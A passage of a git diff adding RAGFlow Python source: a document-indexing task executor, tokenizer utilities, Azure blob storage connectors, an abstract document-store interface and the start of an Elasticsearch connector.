rag_tokenizer.tokenize(str(ck["keywords"])) + del ck["keywords"] + if "summary" in ck: + if "content_ltks" not in ck: + ck["content_ltks"] = rag_tokenizer.tokenize(str(ck["summary"])) + ck["content_sm_ltks"] = rag_tokenizer.fine_grained_tokenize(ck["content_ltks"]) + del ck["summary"] + if "metadata" in ck: + dict_update(ck["metadata"]) + del ck["metadata"] + if "content_with_weight" not in ck: + ck["content_with_weight"] = ck["text"] + del ck["text"] + if "positions" in ck: + add_positions(ck, ck["positions"]) + del ck["positions"] + + if metadata: + e, doc = DocumentService.get_by_id(doc_id) + if e: + if isinstance(doc.meta_fields, str): + doc.meta_fields = json.loads(doc.meta_fields) + dict_update(doc.meta_fields) + DocumentService.update_by_id(doc_id, {"meta_fields": metadata}) + + start_ts = timer() + set_progress(task_id, prog=0.82, msg="[DOC Engine]:\nStart to index...") + e = await insert_es(task_id, task["tenant_id"], task["kb_id"], chunks, partial(set_progress, task_id, 0, 100000000)) + if not e: + PipelineOperationLogService.create(document_id=doc_id, pipeline_id=dataflow_id, task_type=PipelineTaskType.PARSE, dsl=str(pipeline)) + return + + time_cost = timer() - start_ts + task_time_cost = timer() - task_start_ts + set_progress(task_id, prog=1., msg="Indexing done ({:.2f}s). Task done ({:.2f}s)".format(time_cost, task_time_cost)) + DocumentService.increment_chunk_num(doc_id, task_dataset_id, embedding_token_consumption, len(chunks), task_time_cost) + logging.info("[Done], chunks({}), token({}), elapsed:{:.2f}".format(len(chunks), embedding_token_consumption, task_time_cost)) + PipelineOperationLogService.create(document_id=doc_id, pipeline_id=dataflow_id, task_type=PipelineTaskType.PARSE, dsl=str(pipeline)) + + +@timeout(3600) +async def run_raptor_for_kb(row, kb_parser_config, chat_mdl, embd_mdl, vector_size, callback=None, doc_ids=[]): + fake_doc_id = GRAPH_RAPTOR_FAKE_DOC_ID + + raptor_config = kb_parser_config.get("raptor", {}) + + chunks = [] + vctr_nm = "q_%d_vec"%vector_size + for doc_id in doc_ids: + for d in settings.retrievaler.chunk_list(doc_id, row["tenant_id"], [str(row["kb_id"])], + fields=["content_with_weight", vctr_nm], + sort_by_position=True): + chunks.append((d["content_with_weight"], np.array(d[vctr_nm]))) + + raptor = Raptor( + raptor_config.get("max_cluster", 64), + chat_mdl, + embd_mdl, + raptor_config["prompt"], + raptor_config["max_token"], + raptor_config["threshold"], + ) + original_length = len(chunks) + chunks = await raptor(chunks, row["kb_parser_config"]["raptor"]["random_seed"], callback) + doc = { + "doc_id": fake_doc_id, + "kb_id": [str(row["kb_id"])], + "docnm_kwd": row["name"], + "title_tks": rag_tokenizer.tokenize(row["name"]) + } + if row["pagerank"]: + doc[PAGERANK_FLD] = int(row["pagerank"]) + res = [] + tk_count = 0 + for content, vctr in chunks[original_length:]: + d = copy.deepcopy(doc) + d["id"] = xxhash.xxh64((content + str(fake_doc_id)).encode("utf-8")).hexdigest() + d["create_time"] = str(datetime.now()).replace("T", " ")[:19] + d["create_timestamp_flt"] = datetime.now().timestamp() + d[vctr_nm] = vctr.tolist() + d["content_with_weight"] = content + d["content_ltks"] = rag_tokenizer.tokenize(content) + d["content_sm_ltks"] = rag_tokenizer.fine_grained_tokenize(d["content_ltks"]) + res.append(d) + tk_count += num_tokens_from_string(content) + return res, tk_count + + +async def delete_image(kb_id, chunk_id): + try: + async with minio_limiter: + STORAGE_IMPL.delete(kb_id, chunk_id) + except Exception: + logging.exception(f"Deleting image of chunk {chunk_id} got exception") + raise + + +async def insert_es(task_id, task_tenant_id, task_dataset_id, chunks, progress_callback): + for b in range(0, len(chunks), DOC_BULK_SIZE): + doc_store_result = await trio.to_thread.run_sync(lambda: settings.docStoreConn.insert(chunks[b:b + DOC_BULK_SIZE], search.index_name(task_tenant_id), task_dataset_id)) + task_canceled = has_canceled(task_id) + if task_canceled: + progress_callback(-1, msg="Task has been canceled.") + return + if b % 128 == 0: + progress_callback(prog=0.8 + 0.1 * (b + 1) / len(chunks), msg="") + if doc_store_result: + error_message = f"Insert chunk error: {doc_store_result}, please check log file and Elasticsearch/Infinity status!" + progress_callback(-1, msg=error_message) + raise Exception(error_message) + chunk_ids = [chunk["id"] for chunk in chunks[:b + DOC_BULK_SIZE]] + chunk_ids_str = " ".join(chunk_ids) + try: + TaskService.update_chunk_ids(task_id, chunk_ids_str) + except DoesNotExist: + logging.warning(f"do_handle_task update_chunk_ids failed since task {task_id} is unknown.") + doc_store_result = await trio.to_thread.run_sync(lambda: settings.docStoreConn.delete({"id": chunk_ids}, search.index_name(task_tenant_id), task_dataset_id)) + async with trio.open_nursery() as nursery: + for chunk_id in chunk_ids: + nursery.start_soon(delete_image, task_dataset_id, chunk_id) + progress_callback(-1, msg=f"Chunk updates failed since task {task_id} is unknown.") + return + return True + + +@timeout(60*60*2, 1) +async def do_handle_task(task): + task_type = task.get("task_type", "") + + if task_type == "dataflow" and task.get("doc_id", "") == CANVAS_DEBUG_DOC_ID: + await run_dataflow(task) + return + + task_id = task["id"] + task_from_page = task["from_page"] + task_to_page = task["to_page"] + task_tenant_id = task["tenant_id"] + task_embedding_id = task["embd_id"] + task_language = task["language"] + task_llm_id = task["llm_id"] + task_dataset_id = task["kb_id"] + task_doc_id = task["doc_id"] + task_document_name = task["name"] + task_parser_config = task["parser_config"] + task_start_ts = timer() + + # prepare the progress callback function + progress_callback = partial(set_progress, task_id, task_from_page, task_to_page) + + # FIXME: workaround, Infinity doesn't support table parsing method, this check is to notify user + lower_case_doc_engine = settings.DOC_ENGINE.lower() + if lower_case_doc_engine == 'infinity' and task['parser_id'].lower() == 'table': + error_message = "Table parsing method is not supported by Infinity, please use other parsing methods or use Elasticsearch as the document engine." + progress_callback(-1, msg=error_message) + raise Exception(error_message) + + task_canceled = has_canceled(task_id) + if task_canceled: + progress_callback(-1, msg="Task has been canceled.") + return + + try: + # bind embedding model + embedding_model = LLMBundle(task_tenant_id, LLMType.EMBEDDING, llm_name=task_embedding_id, lang=task_language) + vts, _ = embedding_model.encode(["ok"]) + vector_size = len(vts[0]) + except Exception as e: + error_message = f'Fail to bind embedding model: {str(e)}' + progress_callback(-1, msg=error_message) + logging.exception(error_message) + raise + + init_kb(task, vector_size) + + if task_type[:len("dataflow")] == "dataflow": + await run_dataflow(task) + return + + if task_type == "raptor": + ok, kb = KnowledgebaseService.get_by_id(task_dataset_id) + if not ok: + progress_callback(prog=-1.0, msg="Cannot found valid knowledgebase for RAPTOR task") + return + + kb_parser_config = kb.parser_config + if not kb_parser_config.get("raptor", {}).get("use_raptor", False): + progress_callback(prog=-1.0, msg="Internal error: Invalid RAPTOR configuration") + return + # bind LLM for raptor + chat_model = LLMBundle(task_tenant_id, LLMType.CHAT, llm_name=task_llm_id, lang=task_language) + # run RAPTOR + async with kg_limiter: + chunks, token_count = await run_raptor_for_kb( + row=task, + kb_parser_config=kb_parser_config, + chat_mdl=chat_model, + embd_mdl=embedding_model, + vector_size=vector_size, + callback=progress_callback, + doc_ids=task.get("doc_ids", []), + ) + # Either using graphrag or Standard chunking methods + elif task_type == "graphrag": + ok, kb = KnowledgebaseService.get_by_id(task_dataset_id) + if not ok: + progress_callback(prog=-1.0, msg="Cannot found valid knowledgebase for GraphRAG task") + return + + kb_parser_config = kb.parser_config + if not kb_parser_config.get("graphrag", {}).get("use_graphrag", False): + progress_callback(prog=-1.0, msg="Internal error: Invalid GraphRAG configuration") + return + + graphrag_conf = kb_parser_config.get("graphrag", {}) + start_ts = timer() + chat_model = LLMBundle(task_tenant_id, LLMType.CHAT, llm_name=task_llm_id, lang=task_language) + with_resolution = graphrag_conf.get("resolution", False) + with_community = graphrag_conf.get("community", False) + async with kg_limiter: + # await run_graphrag(task, task_language, with_resolution, with_community, chat_model, embedding_model, progress_callback) + result = await run_graphrag_for_kb( + row=task, + doc_ids=task.get("doc_ids", []), + language=task_language, + kb_parser_config=kb_parser_config, + chat_model=chat_model, + embedding_model=embedding_model, + callback=progress_callback, + with_resolution=with_resolution, + with_community=with_community, + ) + logging.info(f"GraphRAG task result for task {task}:\n{result}") + progress_callback(prog=1.0, msg="Knowledge Graph done ({:.2f}s)".format(timer() - start_ts)) + return + elif task_type == "mindmap": + progress_callback(1, "place holder") + pass + return + else: + # Standard chunking methods + start_ts = timer() + chunks = await build_chunks(task, progress_callback) + logging.info("Build document {}: {:.2f}s".format(task_document_name, timer() - start_ts)) + if not chunks: + progress_callback(1., msg=f"No chunk built from {task_document_name}") + return + # TODO: exception handler + ## set_progress(task["did"], -1, "ERROR: ") + progress_callback(msg="Generate {} chunks".format(len(chunks))) + start_ts = timer() + try: + token_count, vector_size = await embedding(chunks, embedding_model, task_parser_config, progress_callback) + except Exception as e: + error_message = "Generate embedding error:{}".format(str(e)) + progress_callback(-1, error_message) + logging.exception(error_message) + token_count = 0 + raise + progress_message = "Embedding chunks ({:.2f}s)".format(timer() - start_ts) + logging.info(progress_message) + progress_callback(msg=progress_message) + + chunk_count = len(set([chunk["id"] for chunk in chunks])) + start_ts = timer() + e = await insert_es(task_id, task_tenant_id, task_dataset_id, chunks, progress_callback) + if not e: + return + + logging.info("Indexing doc({}), page({}-{}), chunks({}), elapsed: {:.2f}".format(task_document_name, task_from_page, + task_to_page, len(chunks), + timer() - start_ts)) + + DocumentService.increment_chunk_num(task_doc_id, task_dataset_id, token_count, chunk_count, 0) + + time_cost = timer() - start_ts + task_time_cost = timer() - task_start_ts + progress_callback(prog=1.0, msg="Indexing done ({:.2f}s). Task done ({:.2f}s)".format(time_cost, task_time_cost)) + logging.info( + "Chunk doc({}), page({}-{}), chunks({}), token({}), elapsed:{:.2f}".format(task_document_name, task_from_page, + task_to_page, len(chunks), + token_count, task_time_cost)) + + +async def handle_task(): + global DONE_TASKS, FAILED_TASKS + redis_msg, task = await collect() + if not task: + await trio.sleep(5) + return + + task_type = task["task_type"] + pipeline_task_type = TASK_TYPE_TO_PIPELINE_TASK_TYPE.get(task_type, PipelineTaskType.PARSE) or PipelineTaskType.PARSE + + try: + logging.info(f"handle_task begin for task {json.dumps(task)}") + CURRENT_TASKS[task["id"]] = copy.deepcopy(task) + await do_handle_task(task) + DONE_TASKS += 1 + CURRENT_TASKS.pop(task["id"], None) + logging.info(f"handle_task done for task {json.dumps(task)}") + except Exception as e: + FAILED_TASKS += 1 + CURRENT_TASKS.pop(task["id"], None) + try: + err_msg = str(e) + while isinstance(e, exceptiongroup.ExceptionGroup): + e = e.exceptions[0] + err_msg += ' -- ' + str(e) + set_progress(task["id"], prog=-1, msg=f"[Exception]: {err_msg}") + except Exception: + pass + logging.exception(f"handle_task got exception for task {json.dumps(task)}") + finally: + task_document_ids = [] + if task_type in ["graphrag", "raptor", "mindmap"]: + task_document_ids = task["doc_ids"] + if not task.get("dataflow_id", ""): + PipelineOperationLogService.record_pipeline_operation(document_id=task["doc_id"], pipeline_id="", task_type=pipeline_task_type, fake_document_ids=task_document_ids) + + redis_msg.ack() + + +async def report_status(): + global CONSUMER_NAME, BOOT_AT, PENDING_TASKS, LAG_TASKS, DONE_TASKS, FAILED_TASKS + REDIS_CONN.sadd("TASKEXE", CONSUMER_NAME) + redis_lock = RedisDistributedLock("clean_task_executor", lock_value=CONSUMER_NAME, timeout=60) + while True: + try: + now = datetime.now() + group_info = REDIS_CONN.queue_info(get_svr_queue_name(0), SVR_CONSUMER_GROUP_NAME) + if group_info is not None: + PENDING_TASKS = int(group_info.get("pending", 0)) + LAG_TASKS = int(group_info.get("lag", 0)) + + current = copy.deepcopy(CURRENT_TASKS) + heartbeat = json.dumps({ + "name": CONSUMER_NAME, + "now": now.astimezone().isoformat(timespec="milliseconds"), + "boot_at": BOOT_AT, + "pending": PENDING_TASKS, + "lag": LAG_TASKS, + "done": DONE_TASKS, + "failed": FAILED_TASKS, + "current": current, + }) + REDIS_CONN.zadd(CONSUMER_NAME, heartbeat, now.timestamp()) + logging.info(f"{CONSUMER_NAME} reported heartbeat: {heartbeat}") + + expired = REDIS_CONN.zcount(CONSUMER_NAME, 0, now.timestamp() - 60 * 30) + if expired > 0: + REDIS_CONN.zpopmin(CONSUMER_NAME, expired) + + # clean task executor + if redis_lock.acquire(): + task_executors = REDIS_CONN.smembers("TASKEXE") + for consumer_name in task_executors: + if consumer_name == CONSUMER_NAME: + continue + expired = REDIS_CONN.zcount( + consumer_name, now.timestamp() - WORKER_HEARTBEAT_TIMEOUT, now.timestamp() + 10 + ) + if expired == 0: + logging.info(f"{consumer_name} expired, removed") + REDIS_CONN.srem("TASKEXE", consumer_name) + REDIS_CONN.delete(consumer_name) + except Exception: + logging.exception("report_status got exception") + finally: + redis_lock.release() + await trio.sleep(30) + + +async def task_manager(): + try: + await handle_task() + finally: + task_limiter.release() + + +async def main(): + logging.info(r""" + ______ __ ______ __ + /_ __/___ ______/ /__ / ____/ _____ _______ __/ /_____ _____ + / / / __ `/ ___/ //_/ / __/ | |/_/ _ \/ ___/ / / / __/ __ \/ ___/ + / / / /_/ (__ ) ,< / /____> </ __/ /__/ /_/ / /_/ /_/ / / +/_/ \__,_/____/_/|_| /_____/_/|_|\___/\___/\__,_/\__/\____/_/ + """) + logging.info(f'TaskExecutor: RAGFlow version: {get_ragflow_version()}') + settings.init_settings() + print_rag_settings() + if sys.platform != "win32": + signal.signal(signal.SIGUSR1, start_tracemalloc_and_snapshot) + signal.signal(signal.SIGUSR2, stop_tracemalloc) + TRACE_MALLOC_ENABLED = int(os.environ.get('TRACE_MALLOC_ENABLED', "0")) + if TRACE_MALLOC_ENABLED: + start_tracemalloc_and_snapshot(None, None) + + signal.signal(signal.SIGINT, signal_handler) + signal.signal(signal.SIGTERM, signal_handler) + + async with trio.open_nursery() as nursery: + nursery.start_soon(report_status) + while not stop_event.is_set(): + await task_limiter.acquire() + nursery.start_soon(task_manager) + logging.error("BUG!!! You should not reach here!!!") + +if __name__ == "__main__": + faulthandler.enable() + init_root_logger(CONSUMER_NAME) + trio.run(main) diff --git a/rag/utils/__init__.py b/rag/utils/__init__.py new file mode 100644 index 0000000..798b5bf --- /dev/null +++ b/rag/utils/__init__.py @@ -0,0 +1,130 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import os +import re + +import tiktoken + +from api.utils.file_utils import get_project_base_directory + + +def singleton(cls, *args, **kw): + instances = {} + + def _singleton(): + key = str(cls) + str(os.getpid()) + if key not in instances: + instances[key] = cls(*args, **kw) + return instances[key] + + return _singleton + + +def rmSpace(txt): + txt = re.sub(r"([^a-z0-9.,\)>]) +([^ ])", r"\1\2", txt, flags=re.IGNORECASE) + return re.sub(r"([^ ]) +([^a-z0-9.,\(<])", r"\1\2", txt, flags=re.IGNORECASE) + + +def findMaxDt(fnm): + m = "1970-01-01 00:00:00" + try: + with open(fnm, "r") as f: + while True: + line = f.readline() + if not line: + break + line = line.strip("\n") + if line == 'nan': + continue + if line > m: + m = line + except Exception: + pass + return m + + +def findMaxTm(fnm): + m = 0 + try: + with open(fnm, "r") as f: + while True: + line = f.readline() + if not line: + break + line = line.strip("\n") + if line == 'nan': + continue + if int(line) > m: + m = int(line) + except Exception: + pass + return m + + +tiktoken_cache_dir = get_project_base_directory() +os.environ["TIKTOKEN_CACHE_DIR"] = tiktoken_cache_dir +# encoder = tiktoken.encoding_for_model("gpt-3.5-turbo") +encoder = tiktoken.get_encoding("cl100k_base") + + +def num_tokens_from_string(string: str) -> int: + """Returns the number of tokens in a text string.""" + try: + return len(encoder.encode(string)) + except Exception: + return 0 + +def total_token_count_from_response(resp): + if hasattr(resp, "usage") and hasattr(resp.usage, "total_tokens"): + try: + return resp.usage.total_tokens + except Exception: + pass + + if hasattr(resp, "usage_metadata") and hasattr(resp.usage_metadata, "total_tokens"): + try: + return resp.usage_metadata.total_tokens + except Exception: + pass + + if 'usage' in resp and 'total_tokens' in resp['usage']: + try: + return resp["usage"]["total_tokens"] + except Exception: + pass + return 0 + + +def truncate(string: str, max_len: int) -> str: + """Returns truncated text if the length of text exceed max_len.""" + return encoder.decode(encoder.encode(string)[:max_len]) + + +def clean_markdown_block(text): + text = re.sub(r'^\s*```markdown\s*\n?', '', text) + text = re.sub(r'\n?\s*```\s*$', '', text) + return text.strip() + + +def get_float(v): + if v is None: + return float('-inf') + try: + return float(v) + except Exception: + return float('-inf') + diff --git a/rag/utils/azure_sas_conn.py b/rag/utils/azure_sas_conn.py new file mode 100644 index 0000000..d173754 --- /dev/null +++ b/rag/utils/azure_sas_conn.py @@ -0,0 +1,95 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import logging +import os +import time +from io import BytesIO +from rag import settings +from rag.utils import singleton +from azure.storage.blob import ContainerClient + + +@singleton +class RAGFlowAzureSasBlob: + def __init__(self): + self.conn = None + self.container_url = os.getenv('CONTAINER_URL', settings.AZURE["container_url"]) + self.sas_token = os.getenv('SAS_TOKEN', settings.AZURE["sas_token"]) + self.__open__() + + def __open__(self): + try: + if self.conn: + self.__close__() + except Exception: + pass + + try: + self.conn = ContainerClient.from_container_url(self.container_url + "?" + self.sas_token) + except Exception: + logging.exception("Fail to connect %s " % self.container_url) + + def __close__(self): + del self.conn + self.conn = None + + def health(self): + _bucket, fnm, binary = "txtxtxtxt1", "txtxtxtxt1", b"_t@@@1" + return self.conn.upload_blob(name=fnm, data=BytesIO(binary), length=len(binary)) + + def put(self, bucket, fnm, binary): + for _ in range(3): + try: + return self.conn.upload_blob(name=fnm, data=BytesIO(binary), length=len(binary)) + except Exception: + logging.exception(f"Fail put {bucket}/{fnm}") + self.__open__() + time.sleep(1) + + def rm(self, bucket, fnm): + try: + self.conn.delete_blob(fnm) + except Exception: + logging.exception(f"Fail rm {bucket}/{fnm}") + + def get(self, bucket, fnm): + for _ in range(1): + try: + r = self.conn.download_blob(fnm) + return r.read() + except Exception: + logging.exception(f"fail get {bucket}/{fnm}") + self.__open__() + time.sleep(1) + return + + def obj_exist(self, bucket, fnm): + try: + return self.conn.get_blob_client(fnm).exists() + except Exception: + logging.exception(f"Fail put {bucket}/{fnm}") + return False + + def get_presigned_url(self, bucket, fnm, expires): + for _ in range(10): + try: + return self.conn.get_presigned_url("GET", bucket, fnm, expires) + except Exception: + logging.exception(f"fail get {bucket}/{fnm}") + self.__open__() + time.sleep(1) + return diff --git a/rag/utils/azure_spn_conn.py b/rag/utils/azure_spn_conn.py new file mode 100644 index 0000000..4b6b861 --- /dev/null +++ b/rag/utils/azure_spn_conn.py @@ -0,0 +1,105 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import logging +import os +import time +from rag import settings +from rag.utils import singleton +from azure.identity import ClientSecretCredential, AzureAuthorityHosts +from azure.storage.filedatalake import FileSystemClient + + +@singleton +class RAGFlowAzureSpnBlob: + def __init__(self): + self.conn = None + self.account_url = os.getenv('ACCOUNT_URL', settings.AZURE["account_url"]) + self.client_id = os.getenv('CLIENT_ID', settings.AZURE["client_id"]) + self.secret = os.getenv('SECRET', settings.AZURE["secret"]) + self.tenant_id = os.getenv('TENANT_ID', settings.AZURE["tenant_id"]) + self.container_name = os.getenv('CONTAINER_NAME', settings.AZURE["container_name"]) + self.__open__() + + def __open__(self): + try: + if self.conn: + self.__close__() + except Exception: + pass + + try: + credentials = ClientSecretCredential(tenant_id=self.tenant_id, client_id=self.client_id, client_secret=self.secret, authority=AzureAuthorityHosts.AZURE_CHINA) + self.conn = FileSystemClient(account_url=self.account_url, file_system_name=self.container_name, credential=credentials) + except Exception: + logging.exception("Fail to connect %s" % self.account_url) + + def __close__(self): + del self.conn + self.conn = None + + def health(self): + _bucket, fnm, binary = "txtxtxtxt1", "txtxtxtxt1", b"_t@@@1" + f = self.conn.create_file(fnm) + f.append_data(binary, offset=0, length=len(binary)) + return f.flush_data(len(binary)) + + def put(self, bucket, fnm, binary): + for _ in range(3): + try: + f = self.conn.create_file(fnm) + f.append_data(binary, offset=0, length=len(binary)) + return f.flush_data(len(binary)) + except Exception: + logging.exception(f"Fail put {bucket}/{fnm}") + self.__open__() + time.sleep(1) + + def rm(self, bucket, fnm): + try: + self.conn.delete_file(fnm) + except Exception: + logging.exception(f"Fail rm {bucket}/{fnm}") + + def get(self, bucket, fnm): + for _ in range(1): + try: + client = self.conn.get_file_client(fnm) + r = client.download_file() + return r.read() + except Exception: + logging.exception(f"fail get {bucket}/{fnm}") + self.__open__() + time.sleep(1) + return + + def obj_exist(self, bucket, fnm): + try: + client = self.conn.get_file_client(fnm) + return client.exists() + except Exception: + logging.exception(f"Fail put {bucket}/{fnm}") + return False + + def get_presigned_url(self, bucket, fnm, expires): + for _ in range(10): + try: + return self.conn.get_presigned_url("GET", bucket, fnm, expires) + except Exception: + logging.exception(f"fail get {bucket}/{fnm}") + self.__open__() + time.sleep(1) + return \ No newline at end of file diff --git a/rag/utils/doc_store_conn.py b/rag/utils/doc_store_conn.py new file mode 100644 index 0000000..c3fa61b --- /dev/null +++ b/rag/utils/doc_store_conn.py @@ -0,0 +1,271 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +from abc import ABC, abstractmethod +from dataclasses import dataclass +import numpy as np + +DEFAULT_MATCH_VECTOR_TOPN = 10 +DEFAULT_MATCH_SPARSE_TOPN = 10 +VEC = list | np.ndarray + + +@dataclass +class SparseVector: + indices: list[int] + values: list[float] | list[int] | None = None + + def __post_init__(self): + assert (self.values is None) or (len(self.indices) == len(self.values)) + + def to_dict_old(self): + d = {"indices": self.indices} + if self.values is not None: + d["values"] = self.values + return d + + def to_dict(self): + if self.values is None: + raise ValueError("SparseVector.values is None") + result = {} + for i, v in zip(self.indices, self.values): + result[str(i)] = v + return result + + @staticmethod + def from_dict(d): + return SparseVector(d["indices"], d.get("values")) + + def __str__(self): + return f"SparseVector(indices={self.indices}{'' if self.values is None else f', values={self.values}'})" + + def __repr__(self): + return str(self) + + +class MatchTextExpr(ABC): + def __init__( + self, + fields: list[str], + matching_text: str, + topn: int, + extra_options: dict = dict(), + ): + self.fields = fields + self.matching_text = matching_text + self.topn = topn + self.extra_options = extra_options + + +class MatchDenseExpr(ABC): + def __init__( + self, + vector_column_name: str, + embedding_data: VEC, + embedding_data_type: str, + distance_type: str, + topn: int = DEFAULT_MATCH_VECTOR_TOPN, + extra_options: dict = dict(), + ): + self.vector_column_name = vector_column_name + self.embedding_data = embedding_data + self.embedding_data_type = embedding_data_type + self.distance_type = distance_type + self.topn = topn + self.extra_options = extra_options + + +class MatchSparseExpr(ABC): + def __init__( + self, + vector_column_name: str, + sparse_data: SparseVector | dict, + distance_type: str, + topn: int, + opt_params: dict | None = None, + ): + self.vector_column_name = vector_column_name + self.sparse_data = sparse_data + self.distance_type = distance_type + self.topn = topn + self.opt_params = opt_params + + +class MatchTensorExpr(ABC): + def __init__( + self, + column_name: str, + query_data: VEC, + query_data_type: str, + topn: int, + extra_option: dict | None = None, + ): + self.column_name = column_name + self.query_data = query_data + self.query_data_type = query_data_type + self.topn = topn + self.extra_option = extra_option + + +class FusionExpr(ABC): + def __init__(self, method: str, topn: int, fusion_params: dict | None = None): + self.method = method + self.topn = topn + self.fusion_params = fusion_params + + +MatchExpr = MatchTextExpr | MatchDenseExpr | MatchSparseExpr | MatchTensorExpr | FusionExpr + +class OrderByExpr(ABC): + def __init__(self): + self.fields = list() + def asc(self, field: str): + self.fields.append((field, 0)) + return self + def desc(self, field: str): + self.fields.append((field, 1)) + return self + def fields(self): + return self.fields + +class DocStoreConnection(ABC): + """ + Database operations + """ + + @abstractmethod + def dbType(self) -> str: + """ + Return the type of the database. + """ + raise NotImplementedError("Not implemented") + + @abstractmethod + def health(self) -> dict: + """ + Return the health status of the database. + """ + raise NotImplementedError("Not implemented") + + """ + Table operations + """ + + @abstractmethod + def createIdx(self, indexName: str, knowledgebaseId: str, vectorSize: int): + """ + Create an index with given name + """ + raise NotImplementedError("Not implemented") + + @abstractmethod + def deleteIdx(self, indexName: str, knowledgebaseId: str): + """ + Delete an index with given name + """ + raise NotImplementedError("Not implemented") + + @abstractmethod + def indexExist(self, indexName: str, knowledgebaseId: str) -> bool: + """ + Check if an index with given name exists + """ + raise NotImplementedError("Not implemented") + + """ + CRUD operations + """ + + @abstractmethod + def search( + self, selectFields: list[str], + highlightFields: list[str], + condition: dict, + matchExprs: list[MatchExpr], + orderBy: OrderByExpr, + offset: int, + limit: int, + indexNames: str|list[str], + knowledgebaseIds: list[str], + aggFields: list[str] = [], + rank_feature: dict | None = None + ): + """ + Search with given conjunctive equivalent filtering condition and return all fields of matched documents + """ + raise NotImplementedError("Not implemented") + + @abstractmethod + def get(self, chunkId: str, indexName: str, knowledgebaseIds: list[str]) -> dict | None: + """ + Get single chunk with given id + """ + raise NotImplementedError("Not implemented") + + @abstractmethod + def insert(self, rows: list[dict], indexName: str, knowledgebaseId: str = None) -> list[str]: + """ + Update or insert a bulk of rows + """ + raise NotImplementedError("Not implemented") + + @abstractmethod + def update(self, condition: dict, newValue: dict, indexName: str, knowledgebaseId: str) -> bool: + """ + Update rows with given conjunctive equivalent filtering condition + """ + raise NotImplementedError("Not implemented") + + @abstractmethod + def delete(self, condition: dict, indexName: str, knowledgebaseId: str) -> int: + """ + Delete rows with given conjunctive equivalent filtering condition + """ + raise NotImplementedError("Not implemented") + + """ + Helper functions for search result + """ + + @abstractmethod + def getTotal(self, res): + raise NotImplementedError("Not implemented") + + @abstractmethod + def getChunkIds(self, res): + raise NotImplementedError("Not implemented") + + @abstractmethod + def getFields(self, res, fields: list[str]) -> dict[str, dict]: + raise NotImplementedError("Not implemented") + + @abstractmethod + def getHighlight(self, res, keywords: list[str], fieldnm: str): + raise NotImplementedError("Not implemented") + + @abstractmethod + def getAggregation(self, res, fieldnm: str): + raise NotImplementedError("Not implemented") + + """ + SQL + """ + @abstractmethod + def sql(sql: str, fetch_size: int, format: str): + """ + Run the sql generated by text-to-sql + """ + raise NotImplementedError("Not implemented") diff --git a/rag/utils/es_conn.py b/rag/utils/es_conn.py new file mode 100644 index 0000000..81ec153 --- /dev/null +++ b/rag/utils/es_conn.py @@ -0,0 +1,631 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import logging +import re +import json +import time +import os + +import copy +from elasticsearch import Elasticsearch, NotFoundError +from elasticsearch_dsl import UpdateByQuery, Q, Search, Index +from elastic_transport import ConnectionTimeout +from rag import settings +from rag.settings import TAG_FLD, PAGERANK_FLD +from rag.utils import singleton, get_float +from api.utils.file_utils import get_project_base_directory +from api.utils.common import convert_bytes +from rag.utils.doc_store_conn import DocStoreConnection, MatchExpr, OrderByExpr, MatchTextExpr, MatchDenseExpr, \ + FusionExpr +from rag.nlp import is_english, rag_tokenizer + +ATTEMPT_TIME = 2 + +logger = logging.getLogger('ragflow.es_conn') + + +@singleton +class ESConnection(DocStoreConnection): + def __init__(self): + self.info = {} + logger.info(f"Use Elasticsearch {settings.ES['hosts']} as the doc engine.") + for _ in range(ATTEMPT_TIME): + try: + if self._connect(): + break + except Exception as e: + logger.warning(f"{str(e)}. Waiting Elasticsearch {settings.ES['hosts']} to be healthy.") + time.sleep(5) + + if not self.es.ping(): + msg = f"Elasticsearch {settings.ES['hosts']} is unhealthy in 120s." + logger.error(msg) + raise Exception(msg) + v = self.info.get("version", {"number": "8.11.3"}) + v = v["number"].split(".")[0] + if int(v) < 8: + msg = f"Elasticsearch version must be greater than or equal to 8, current version: {v}" + logger.error(msg) + raise Exception(msg) + fp_mapping = os.path.join(get_project_base_directory(), "conf", "mapping.json") + if not os.path.exists(fp_mapping): + msg = f"Elasticsearch mapping file not found at {fp_mapping}" + logger.error(msg) + raise Exception(msg) + self.mapping = json.load(open(fp_mapping, "r")) + logger.info(f"Elasticsearch {settings.ES['hosts']} is healthy.") + + def _connect(self): + self.es = Elasticsearch( + settings.ES["hosts"].split(","), + 